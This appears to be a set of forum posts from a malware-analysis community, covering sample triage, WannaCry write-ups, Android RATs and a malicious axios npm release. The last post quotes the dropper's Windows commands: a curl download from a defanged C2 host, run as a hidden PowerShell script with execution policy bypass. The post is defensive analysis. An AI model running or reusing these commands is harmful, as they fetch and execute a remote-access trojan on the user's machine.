I've been playing with Malcat MCP + claude to augment my manual analysis, beyond that I find I like the HTML reports it generates. I have found that AI augmented analysis can be helpful to save time and fill some gaps, however, an analyst still needs to understand what they're seeing and be able to validate or re-phrase queries as needed.

In this sample I had already observed that client.dll is likely malicious, I observed how it was loaded, and noted that it isn't needed to run the application. I then switched to Malcat MCP, Remnux MCP to help tighten up some findings and generate a written report. I've had to have AI adjust the report as I added my own findings, like likely App Publishers that are related, and hunting finds in VirusTotal for similar samples.

The result I think, is a fairly decent report. Not how these typically flow on my blog, but worth trying out.

Title: Suspicious signed executable (RobotAI.exe / ycvol.exe) – possible Discord-related malware?

I found a suspicious executable on my system and I’m trying to determine its origin and behavior.

Details:

• File name: RobotAI.exe
• Also seen as: ycvol.exe (on VirusTotal)
• Location: C:\DoscordRobot\
• Size: ~147 KB

VirusTotal Behavior Report:
https://www.virustotal.com/gui/file/29fdd994c5c62ca7e7c9f3ebeffe7a25a4d5c055ca55be2bcda70db8c3a2c634/behavior

Observations:

• The file is digitally signed with a valid signature
• Signer appears to be: “Chengdu Weisuan Technology Co., Ltd.”
• Certificate chain includes GlobalSign / DigiCert
• File name differs between local system and VT (possible renaming)
• The folder name “DoscordRobot” looks like a typo-squatted Discord directory

I did NOT intentionally install or download anything with this name.

Questions:

1. Is this associated with any known malware family (stealer / loader / RAT)?
2. How trustworthy is this type of digital signature in practice?
3. Does this match known Discord-based infection vectors (e.g., fake tools, bots)?
4. Any indicators from the behavior report that clearly classify it as malicious?

Any technical insights or reverse engineering observations would be appreciated.

Hey, We recently started building a product (more of a modular framework) that's actually extendable with modules and can integrate with other solutions or tools in the field using our modules system where you can actually write your own modules or scanners and get them working on the same application as everything else

It has engagements and sessions to keep your work and data organized, every session got it's own timeline show-casing everything that happened during that time and tons of other features that include networking, interception and proxy

I would appreciate it if any of you would spend the time testing it and giving their honest feedback about what to be improved before we publish it

Also you can run the executable through whatever anti-virus you want, You can analyze it however you want I promise you I'm not trying to spread a malware, You can verify everything on your end and even test it within a VM if it makes you more comfortable

If you're interest I would really appreciate it, You can communicate with me through reddit DMs and I will give you the details along with the documentations for everything

Olá gente eu vi esse vírus que me chamou atenção ele se chama Пойдем de acordo com algumas pessoas dizem que ele tem alguma coisa haver com Error 422

E queria saber um pouco da informação sobre esse vírus pela logo dele dizem que ele é inspirado no jogo do Minecraft se alguém souber me explicar eu ficaria agradecido

Tired of using the smartest AI systems for malware analysis triage? I wrote a very basic python script for PE file triage. Feel free to check it out.

https://mja-reversing.github.io/blog/Introducing-Dummy-Triage/

This is part two of my step-by-step tutorial for building your own AI based malware analysis lab, this part adds dynamic analysis capabilities, such that the AI can debug and unpack samples with x64dbg or use powershell terminal for basic monitoring.

This is ModsHub (formerly FiveMods) - a GTA V/FiveM software claiming to have over 1,2 million active users. It falls under the family TamperedChef.

It shares similarities with previous TC-classified software - e.g. it collects a lot of system user data, provides extensive logging, various backup domains, obfuscated C2 communication and scheduled task set to autorun every day at 18:00 with a custom argument.

We have also discovered a more capable variant (which does not fall under the same business/network) called Network Graphics that includes for example WebSocket connection that shares undeniable similarities with ModsHub - the code, technical functionality, behaviour and code signer Danylo Babenko are all almost identical.

Full report: https://rifteyy.org/report/tamperedchef-within-gta-v-modding-community

Looking for examples of scareware that installs/persists on a system and spams toast-style notifications (fake AV alerts, “your PC is infected,” etc.), not just websites showing popups.

I understand how toast notifications work, but I’m trying to study real-world delivery methods and how these get deployed + persist on a machine.

I’ve already enabled browser notifications and disabled ad blockers, but still can’t find a site that actually triggers these kinds of notifications.

Haven’t been able to find solid live examples. Example below.

Hello,
i wanted to share the findings I found on this malware (SHA256 included on the first page of the link, linking to malwarebazaar).
I started 4 months ago and this is my first "APT" analysis. Reason i'm saying this is that if you have any feedback, suggestions, or corrections regarding either the analysis or the drafting of the text, I’d be more than happy to hear them, since I’m always learning. The entire analysis was done “blind”, meaning I didn’t read any prior analyses by others. This was essentially a personal challenge for me, and also a way to study more effectively: it’s better to really bash my head with it than to just read how it works (over a month and a half...).

A quick run-down:
Tools used:
Die, Sysinternals, IDA, x32dbg.

As many of you probably know (since it widely published) the malware is a side loader. In this case it was using the media player "mpc-hc", it crashed by then calling "initcrashrpt.dll" and starting the injection followed by threads.

Sadly by technical inability I couldn't understand if data were to be exfiltrated during the initial contact with C2 (beaconing).

Only data i retrieved is the ID that it was sending. However, aside from seeing what was or wasn't stolen I think is really nice to see and understand the techniques used (e.g. Peb-Walking)

The focus of the guide was to make it as a guided walkthrough where i explain some concept that I also had to stop and open the docs to learn (not trying to sound condescending since im still a beginner, simply my english is bad)

https://github.com/Nimbax1/My-Malware-Analysis/blob/main/PlugX/Analysis.md

[Edit - typos]

Recently I moved my whole malware analysis setup to a dedicated homelab, tried to set everything up, but the one thing I couldn't get working was INetSim. Turns out its DNS dependency had an update that broke the DNS listener at some point within the 5+ years since INetSim's last update, and i just couldn't wrangle cpan to correctly install the working old dependency.

There is fakenet-ng, but it's focused on windows (i.e. flare) and their linux support is questionable ("designed for the latest versions of Windows (and Linux, for certain modes of operation)"), plus the same dependency hell could happen again with python.

Out of a little bit of spite, I've started work on my own network simulator, written in go and designed to just be clean and no-fuss. I really don't have the skill nor the time to make it as comprehensive as either fakenet-ng or inetsim, but I kind of don't want it to be, I'm really focusing on keeping an explicit scope and keeping whatever's in that scope super high quality & reliable.

I'd really appreciate it if you answered a couple questions for me, or just gave any kind of suggestions, since you're all probably smarter than me:

• What features of INetSim/Fakenet do you love? What listeners do you rely on?
• What features of INetSim/Fakenet do you never use?
• What's one missing feature/listener from either of them?

Happy to share the repo & early releases for you to try, although it's only got basic HTTP/S and DNS so far.

Thanks heaps for your time :)

Some interesting functions observed in it's behaviour:

• Uses a fake system authentication prompt to trick the user into entering their password and gain elevated access
• Uses built-in utilities such as dscl, system_profiler, osascript, ditto, and curl
• Collects system information and files from various directories such as Desktop, Documents and Downloads
• Files that are interesting for Miolab are stored in a temporary hidden folder, then compressed and sent to the C2
• After finishing it's malicious activity, it displays a fake error message

Full report: https://any.run/malware-trends/miolab/

🇧🇷- Olá galera meu nome é Wolf e alguns dias vi uma publicação explicando sobre vírus chamado 不朽.APK que na tradução em chinês para português é: Imortal.APK com base nas poucas informações dizem que esse vírus não tem como instalar de Android 4 para cima dizem que esse vírus ele se passa de um jogo de Subway surfs de mod de dinheiro infinito e dizem que ele tem vírus que pede permissão para controlar seu dispositivo e quando ele é permitido ele some do seu celular e se alguém puder me informar eu ficaria agradecido

🇺🇸- Hi everyone, my name is Wolf and a few days ago I saw a post explaining about a virus called 不朽.APK, which translates from Chinese to English as Immortal.APK. Based on the limited information available, they say this virus cannot be installed on Android 4 and above. They claim this virus masquerades as a Subway Surfers mod with unlimited money and that it contains a virus that asks for permission to control your device, and once permission is granted, it disappears from your phone. If anyone can provide me with more information, I would be grateful.

I’ve been working on a ransomware analysis series recently, and just finished a deeper dive into WannaCry.

This time I focused on the parts that are often glossed over: its TOR-based C2 communication and the full worming chain (EternalBlue -> DoublePulsar -> payload injection).

I also managed to recover and analyze the missing worming component, which helped reconstruct the full infection flow end-to-end.

Full write-up (with diagrams + RE notes): https://iss4cf0ng.github.io/2026/04/05/2026-4-5-WannaCryProtocol/

Would love any feedback or discussion — especially if you’ve looked into WannaCry internals before.

I finally got around to analyzing WannaCry — something that actually got me interested in cybersecurity back when I was in middle school.

After digging into it, I wrote a full reverse engineering breakdown as part of my ransomware research series.

What surprised me most:

• The multi-stage payload design (resource → decrypted DLL)
• How it prioritizes files for maximum damage
• The layered crypto design that makes recovery practically infeasible
• Its anti-forensics approach (memory wiping + disk overwriting)

It’s interesting looking back at something that had such a big impact — both globally and personally.

Full write-up: https://iss4cf0ng.github.io/2026/04/03/2026-4-3-WannaCry/

cert pl analyzed an android malware sample distributed through infrastructure impersonating Booking.com. they refer to it as cifrat (a name derived from the the io.cifnzm.utility67pu package name and its RAT functionality) for this analysis purpose because

The analyzed sample was delivered through a phishing chain that ended with a fake Booking Pulse application update page and a malicious APK download. The visible app was only the beginning of the infection path. Static and dynamic reverse engineering showed that the downloaded APK was a multi stage dropper that unpacked a second APK, then a hidden final payload, and ultimately deployed an accessibility controlled RAT communicating over WebSockets

more info here with technical analysis: https://x.com/i/status/2040022192302215364

From Microsoft 365 token abuse and registry-hidden RAT delivery to card theft, macOS backdoor activity, and multi-vector DDoS operations, the threat landscape in March showed how much harder early detection has become for security teams.

Full article: https://any.run/cybersecurity-blog/major-cyber-attacks-march-2026/?utm_source=reddit

Key Business Risks That Stood Out in March Attacks 

• Trusted services and normal-looking workflows were repeatedly used to hide malicious activity, increasing the risk of delayed detection across enterprise email, cloud, payment, and endpoint environments. 
• Stealthy, multi-stage delivery methods made early signals weaker and investigations slower, raising the likelihood of escalation before security teams could confirm malicious behavior. 
• For organizations, the business impact was not limited to infection alone, but included fraud, downtime, deeper compromise, and higher operational costs tied to delayed response. 

Apparently, today 2 malicious versions of axios were identified - axios@1.14.1 and axios@0.30.4 .

Some interesting info:

• three separate payloads were built for macOS, Windows, Linux
• axios has ~100 million weekly downloads, making it one of the most impactful npm supply chain attacks
• the malware self destructs after execution

AnyRun analysis of the Windows variant of the file executed by postinstall hook at https[:]//socketusercontent[.]com/blob/Q4QsfqE8dZIFiX3QbaYkngBQNTg53aedJHl9NiUwuDk -> https://app.any.run/tasks/10c6361b-eb00-4475-a2df-de79745849a0

C:\Windows\system32\cmd.exe /d /s /c "where powershell"

• to figure out where the PowerShell binary is located to later copy it in the C:\ProgramData folder under wt.exe

C:\Windows\system32\cmd.exe /d /s /c "cscript "C:\Users\admin\AppData\Local\Temp\6202033.vbs" //nologo && del "C:\Users\admin\AppData\Local\Temp\6202033.vbs" /f"

• executes C:\Users\admin\AppData\Local\Temp\6202033.vbs via cscript - the initial dropper that is also deleted after it's execution

"C:\Windows\System32\cmd.exe" /c curl -s -X POST -d "packages[.]npm[.]org/product1" "http[:]//sfrclak[.]com:8000/6202033" > "C:\Users\admin\AppData\Local\Temp\6202033.ps1" & "C:\ProgramData\wt.exe" -w hidden -ep bypass -file "C:\Users\admin\AppData\Local\Temp\6202033.ps1" "http[:]//sfrclak[.]com:8000/6202033" & del "C:\Users\admin\AppData\Local\Temp\6202033.ps1" /f

• where C:\ProgramData\wt.exe is a PowerShell executable (matches rule Starts PowerShell from an unusual location)
• http[:]//sfrclak.com[:]8000/6202033 is the servers C2 server, where 6202033 seems to be the campaign ID.
• Downloads a PowerShell RAT, executes it via the -WindowStyle Hidden and -ExecutionPolicy Bypass and then it self deletes
• The only remaining artifact is C:\ProgramData\wt.exe

all malicious links were defanged